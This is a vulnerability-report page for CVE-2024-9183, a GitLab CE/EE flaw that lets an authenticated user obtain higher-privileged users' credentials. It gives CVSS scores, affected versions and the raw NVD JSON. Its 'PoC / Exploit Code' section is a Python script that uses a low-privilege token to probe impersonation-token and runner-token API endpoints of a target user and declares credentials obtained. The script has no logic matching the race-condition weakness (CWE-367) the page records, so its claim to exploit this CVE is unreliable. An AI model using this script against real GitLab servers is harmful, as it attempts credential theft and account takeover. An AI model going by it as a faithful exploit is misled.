Security Vulnerability Report
中文
CVE-2024-9183 CVSS 7.7 HIGH

CVE-2024-9183

Published: 2025-12-05 17:16:01
Last Modified: 2025-12-10 05:15:53

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.4 prior to 18.4.5, 18.5 prior to 18.5.3, and 18.6 prior to 18.6.1 that could have allowed an authenticated user to obtain credentials from higher-privileged users and perform actions in their context under specific conditions.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE 18.4 < 18.4.5
GitLab CE/EE 18.5 < 18.5.3
GitLab CE/EE 18.6 < 18.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2024-9183 PoC - GitLab Credential Leak # This PoC demonstrates the credential leakage vulnerability in GitLab import requests import json import sys GITLAB_URL = "https://gitlab.example.com" ATTACKER_TOKEN = "your_low_privilege_token" TARGET_USER_ID = "high_privilege_user_id" def exploit_credential_leak(): """ Exploit GitLab CVE-2024-9183 to obtain credentials from high-privilege users """ headers = { "PRIVATE-TOKEN": ATTACKER_TOKEN, "Content-Type": "application/json" } # Step 1: Enumerate vulnerable endpoint vulnerable_endpoints = [ f"{GITLAB_URL}/api/v4/users/{TARGET_USER_ID}/impersonation_tokens", f"{GITLAB_URL}/api/v4/users/{TARGET_USER_ID}/runner_registration_tokens", f"{GITLAB_URL}/api/v4/projects?membership=true" ] for endpoint in vulnerable_endpoints: try: response = requests.get(endpoint, headers=headers, verify=False, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Found accessible endpoint: {endpoint}") print(f"[+] Data: {json.dumps(data, indent=2)}") # Step 2: Extract sensitive credentials if "token" in str(data).lower() or "secret" in str(data).lower(): print("[!] Credential leak detected!") return data except requests.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print("CVE-2024-9183 GitLab Credential Leak Exploit") print("Target: GitLab CE/EE < 18.6.1") result = exploit_credential_leak() if result: print("\n[+] Exploit successful - Credentials obtained") else: print("\n[-] Exploit failed - No vulnerable endpoint found")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-9183", "sourceIdentifier": "[email protected]", "published": "2025-12-05T17:16:01.280", "lastModified": "2025-12-10T05:15:53.033", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.4 prior to 18.4.5, 18.5 prior to 18.5.3, and 18.6 prior to 18.6.1 that could have allowed an authenticated user to obtain credentials from higher-privileged users and perform actions in their context under specific conditions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.4.0", "versionEndExcluding": "18.4.5", "matchCriteriaId": "DEDB4B48-0099-4637-969F-235A829B2BED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.4.0", "versionEndExcluding": "18.4.5", "matchCriteriaId": "AA760629-3160-48B1-8AB1-1BB422606F99"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.3", "matchCriteriaId": "A2361C72-A29E-47BB-A3FD-E4D656AF820F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.3", "matchCriteriaId": "1B00EBAB-22CC-4350-AED2-60C7F78C0A8F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.1", "matchCriteriaId": "5A989D8B-F856-41FF-9821-D02D734917B2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.1", "matchCriteriaId": "1CEE76F2-C907-49F8-947D-A00385AD4193"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2025/11/26/patch-release-gitlab-18-6-1-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/494478", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/2707421", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}